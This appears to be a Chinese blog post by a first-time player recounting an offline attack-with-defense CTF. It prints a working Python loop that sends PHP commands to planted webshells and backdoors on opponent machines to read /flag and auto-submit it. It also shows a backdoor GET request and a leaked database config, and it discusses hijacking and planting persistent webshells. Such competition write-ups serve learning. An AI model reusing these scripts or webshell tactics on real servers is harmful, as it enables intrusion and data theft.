第一次参加线下赛,虽然对web方面的知识目前还不是很懂,这次比赛主要是去长长见识,并成功入坑web
比赛是9:30正式开始,大约在9:00的时候就到现场打开电脑进行准备操作了,期间是介绍某某嘉宾的开幕式不用管。这时候先把要启动的虚拟机软件啥的先准备好,然后仔细去阅读主办方下发的比赛材料。这里贴一下这次比赛我们的文档作为样例,理解全场环境的网络拓扑环境。把网线插上DHCP或者按照主办方要求修改IP,我们是到9:30开始的时候才DHCP出来正常的ip可以访问平台,结果对面dalao已经扫源码直接找到洞开始挂马了,结果接下来备份WEB目录的都是有马的。。。
把比赛纸质文档的服务器ip,密码;flag提交平台的token手打到电脑里面便于之后复制。
在这里简单说一下自己在比赛中做的,希望dalao们能多多批评指正补充!
主办方没有给主机的root权限,两台web服务器一台pwn服务器。
我们刚能连上服务器的时候对面dalao就在说,“哎这一扫就这么多洞,这个cms我前几天刚用来着,赶紧拿exp出来。。。”
连接上服务器之后,首先使用WINSCP把/var/www/html里面的站页面拷到本地备份,进行源码审计并且防止别人删站。因为自己对web方面还不是很懂,所以一开始就是报着骑马的心态来的。思路就是上文件监控py脚本,循环遍历当前目录下所有php文件的时间戳,如果有在180分钟之内修改过的文件则对文件在log里面记录并删除,自己还不会去日别人,先得知道别人是怎么日的自己= =||。结果一扫就发现对面队伍已经给我们植了不死马,还不会处理。。就一直被打。打开while true写出来的马发现是有key的,就是说连接每台机器的参数名不同,这种是没法骑的除非你知道了他怎么算的hash。。。贴一下这个一句话吧。。:
这样没法骑。。
不过过了一会文件监控脚本又有了提示:
这个就很舒服了,直接就可以用,赶紧去写脚本去扫,一下拿到了好多flag,结果发现手交flag都要耗掉半轮的时间(忘了说一轮5min)。所以肯定要按照文件里面说的写自动提交脚本(我用py写的挺慢,期间脚本for循环还写错了。。看来还需要继续修炼,之后问其他人说用bash写更好一些。)。
然后过了一段时间去py对面队,他们透露说网站自己就有自带后门,于是找到/html/hits/index.php这个家伙
(我们队就两个人,比赛的过程中感觉就是分身乏术。。)
构造:
r = requests.get(url = 'http://172.16.5.{}:5067/hits/index.php?a[0]=0bc7be346d4df269543565b6b7cd231a&a[1]=/flag'.format(str(a)))
最后写了一个很辣鸡的自动得分脚本,挂在后面跑,因为一轮就五分钟,看看别的就错过了。。。
import requests
import time
while True:
ip = list(range(10,14)) + list(range(15,28)) + list(range(29,40))
try:
for a in ip:
r = requests.post(url = 'http://172.16.5.{}:5067/hits/.config.php'.format(str(a)),data={'fuck':'echo file_get_contents("/flag");'})
if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
print('FIRST: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
print(r.content.decode('raw_unicode_escape'),end=' ')
else:
print(str(a),end=' ')
r = requests.post(url = 'http://172.16.5.{}:5067/.Gml.php'.format(str(a)),data={'gml':'echo file_get_contents("/flag");'})
if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
print('SECOND: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
print(r.content.decode('raw_unicode_escape'),end=' ')
else:
print(str(a),end=' ')
r = requests.post(url = 'http://172.16.5.{}:5067/hits/.Gml.php'.format(str(a)),data={'gml':'echo file_get_contents("/flag");'})
if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
print('THIRD: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
print(r.content.decode('raw_unicode_escape'),end=' ')
else:
print(str(a),end=' ')
r = requests.post(url = 'http://172.16.5.{}:5067/hits/index.php'.format(str(a)),data={'gml':'echo file_get_contents("/flag");'})
if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
print('FOUR: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
print(r.content.decode('raw_unicode_escape'),end=' ')
else:
print(str(a),end=' ')
time.sleep(2)
r = requests.get(url = 'http://172.16.5.{}:5067/hits/index.php?a[0]=0bc7be346d4df269543565b6b7cd231a&a[1]=/flag'.format(str(a)))
if len(r.content.decode('utf-8').replace('\\n','')) <= 40:
print('FIFTH: '+ r.content.decode('utf-8').replace('\\n',''),end=' ')
r = requests.post(url = 'https://172.16.4.1/Common/awd_sub_answer',data = {'answer':r.content.decode('utf-8').replace('\\n',''),'token':'e5f07957442281f5755b2671fd9470bf'})
print(r.content.decode('raw_unicode_escape'),end=' ')
else:
print(str(a),end=' ')
print('\n')
except:
print('err')
time.sleep(100)
凑合着看吧= = ||
然后打着打着发现web1的服务down掉了。。心想我和队友也没动,怎么会down了?一看积分版,发现几乎全场都down了,就剩了一个队,去年的场景又浮现在眼前(去年是观众)。然后那个队伍直接超过了我们对面的dalao。这一down,down的我们全场都懵了,最后听对面dalao说,是mysql数据库的密码被改了,每个队伍的sql密码是一样的!(这应该是主办方的失误,密码不应该是一样的,更不应该是可以更改的!)down掉之后,我们不知道怎么办,因为密码被改我们不知道该怎么去修。(能不能读配置文件找到??)于是去重置服务器,打算重置之后赶紧更改sql密码,这个队友一直在改,由于命令不熟练用手机百度了好久一直没改成,最后一直卡在Permission Denied,可是服务依然是过了几轮就又down。(最后主办方结束之后发言说,这个干扰了游戏体验,裁判在比赛过程中干预且只干预了一次:把所有队伍的密码重置了,并且禁用了密码修改(不过主办方这个地方可能手速不太行,sql密码被第一改了之后禁用了权限,结果我们一直就没法改,还以为是命令不对。。结果就不停的去重置服务器,这里失了好多分。差不多重置了4次。。。))最后就是在最后三十分钟不让重置的节点,我们又重置了一次,并且以down一轮的代价自己down自己把包含数据库密码的php设置成空文件,过了这一轮在放回来。
'127.0.0.1',
'port' => '',
'user' => 'witycms',
'pw' => 'HJ1cGFscGFzc3dvc',
'dbname' => 'witycms',
'prefix' => 'wity_',
);
?>
/html/system/config/database.php
正是这里。
服务活过来之后每次平分其他队伍的分能涨好多分。最后也算苟在了0分以上。ps:好多负队分的,,,有点吓人。
关于pwn题,认为在线下除非有专门的pwn手不然最好不要去做,其实即使能做也不要做。这次某星队web直接关掉去做pwn,还剩一小时多做出来了,结果exp直接就被“复读机”们直接抓了。(对面dalao给我们在结束的时候讲了下可以1、hook系统调用的write,read来抓,2、利用cve提权,拿到root,自己建立一个沙盒,然后把pwn服务跑在沙盒里面,这样即使对方拿到shell也不能读取到flag。3、写一个程序去模拟这个程序,然后把输入的内容输出到文件,抓对方exp,4、直接流量监控)这样对方花这么长时间做出来之后,直接场里就出现好多复读机。。(可是我连想复读的机会都没有,流量记录做不出,,流量记录这个问题我认为是最值得准备的,这是我们这次比赛主要问题所在,不管是web还是pwn)
最后互相交流发现这个是有offbyone,最简单的修复办法是即可。
说的也比较乱,总结一下
比赛之前感觉他应该给root,结果没给,导致好多之前想的骚操作用不了。
web2是自带后门,然后有一个任意文件读:(www/html/app/system/include/module/old_thumb.class.php)
告诉我这个洞的表哥说,他是流量记录里面看到别人这样打他的,就这么弄了。。。可见流量记录是多么重要。
web1不知道最后有没有人正常解做出来了,不过down全场拿分这个太可怕,去年第一也是down了全场。本次比赛是主办方对sql密码和权限的设置失误,
pwn题是offbyone。感觉线下做pwn不值,自己费劲做了pwn,exp一轮就被复读机拿走了,接下来就成了别人拿分了。。还不如多弄弄web。
第一次线下,也不知道准备什么,所以打的比较难受,对linux,web也不熟悉。不过在过程中骑马也算是乐趣多多。
感觉打webshell我想到的就是两种:
1、文件上传过滤不好,上传了马儿,并且能够可预测上传之后文件的路径和名称,直接访问来使得服务器执行。
2、有文件写入,可以写入指定内容并可以访问。比如sql注入。
*3、拿flag的话还有就是任意文件读。
下次线下需要弄好:
1、文件监控
刚开始的时候遍历网站目录,把文件结构存下来,把每个文件的MD5存下来,然后不断检测是否有更改
2、流量监控
没有root权限的/有root权限的流量监控。非常重要!能过记录对方访问的文件,传递参数内容(web)、记录对方的exp(pwn)。我认为难受主要难受在,看着自己被打,却抓不到流量,不知道自己怎么被打的。
3、自动运维脚本
第一个的加强版,自动修。
4、waf
一个合理的waf,不过很有可能会被check判down,这个待议。
5、提权
对面队伍使用cve提权ubuntu16.04成功,有了不少骚操作。
6、代码漏洞扫描工具
把站放进去能直接显示大部分漏洞。
7、杀不死马
别人植了马儿得能删掉啊
8、不死马变key生成工具
防止别人骑马,所以每个队伍连接方法必须要不同。用md5. ,并且骑马过后要尽量维持权限,所以骑了别人的马之后要放上自己更强的不死马。
现在还是比较乱,过几天在自己服务器上再多练练手再对此文整理。dalao们勿喷,如果有更好看法或者文中存在错误请不吝赐教!